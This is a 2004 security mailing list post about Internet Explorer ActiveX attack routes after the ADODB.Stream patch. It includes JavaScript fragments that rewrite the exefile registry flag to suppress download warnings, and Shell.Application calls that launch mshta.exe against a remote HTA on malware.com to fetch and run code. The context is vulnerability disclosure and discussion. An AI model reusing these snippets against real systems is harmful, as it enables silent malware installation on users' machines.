Message-ID: <200407030050.i630o3ow020113__21412.1263045401$1088871293$gmane$org@web171.megawebservers.com>
Date: Sat, 3 Jul 2004 00:50:03 -0000
From: "http-equiv@...ite.com" <1@...ware.com>
To: <bugtraq@...urityfocus.com>, <NTBugtraq@...tserv.ntbugtraq.com>
Subject: Re: [Full-Disclosure] Fix for IE ADODB.Stream vulnerability is out




<!-- 

The real fault doesn't belong with individual components 
(ADODB.Stream included), and I think the almost rant-like posts 
of Drew Copeley and HTTP-EQUIV miss this fact.  ADODB.Stream 
does *not* represent a vulnerability, although it does act to 
significantly worsen the impact of an existing one, by allowing 
transfer of binary files to targets.  However, the
same functionality as ADODB.Stream could be accomplished by 
simply altering the open-restrictions registry value that IE 
uses for executable files (that's right -- the hardcoded warning 
required behavior isn't hardcoded at all), and then invoking IE 
to do this for you.

[html]
[head]
[script language="JavaScript" defer]
function throw_onload() {
    actx.RegWrite("HKCRexefileEditFlags", 
0x38070000, "REG_BINARY");
    window.close();
} 

-->

You are correct. There is nothing wrong with the functionality 
of the adodb.stream as it is doing exactly what it is supposed 
to do.  The problem is that it does that without asking or 
notifying you.

In your code above what ActiveX will allow you to write to the 
registry? WScript.Shell. This has a security prompt in the Local 
Zone and cannot be used. That is why you always find it in 
an .hta file.  The only two that do not prompt [aside from PC 
Health  and other one-off oddities] are the adodb.stream and 
shell.application.
  
These two plus two others are the perhaps the only methods to 
introduce, install and run arbitrary code, that is you can 
create a self-executing html, cross over to the Local Zone and 
exctract and run the executable file.

- shell.application
- adodb.stream
- Base64 enconded mhtml url code base object
- .chm help file with embedded .exe and link object

The last two are patched for sometime now, although also after 
numerous demonstrations and actual usage in the wild for more 
than a year.  Now the adodb.stream is patched.

To introduce a 'package' of code leaves the shell.application.  
Both of them having the ability to combine and 'fetch' the 
executable remotely [which can be defeated by a firewall] such 
as in the original demo Jelmer provided with xmlhttp fetching 
the file remotely, then copying to a folder, overwriting  a .lnk 
and opening the .lnk. as well as a somewhat lacklustre past self-
executing html demo. The adodb.stream also functioning like that 
as well as being able to include the executable in an array in 
the actual file [one of the self-executing html demos]. Shell 
can also fetch via 

ActiveXObject("Shell.Application");
obj.ShellExecute
("mshta.exe","http://www.malware.com/foobar.hta");

shell.application is quite limited, it cannot write a file with 
arbitrary content as it were, but we can again combine 
everything to force it to do so:

ActiveXObject("Shell.Application");
obj.ShellExecut("mshta.exe","about:<script>var wsh=new 
ActiveXObject('WScript.Shell');wsh.RegWrite
('HKCRexefileEditFlags', 0x38070000, "REG_BINARY");)
</script>");

Now you're back in business. You can go to enormous lengths to 
code into that small space the entire binary and basically re-do 
everything you have seen contained in the past exploits 
contained in html applications, all without a prompt as the 
shell.application is the last [as far as we can see] ability to 
do all of this.

note: POC of the above in hand awaiting a rainy day

-- 
http://www.malware.com

Powered by blists - more mailing lists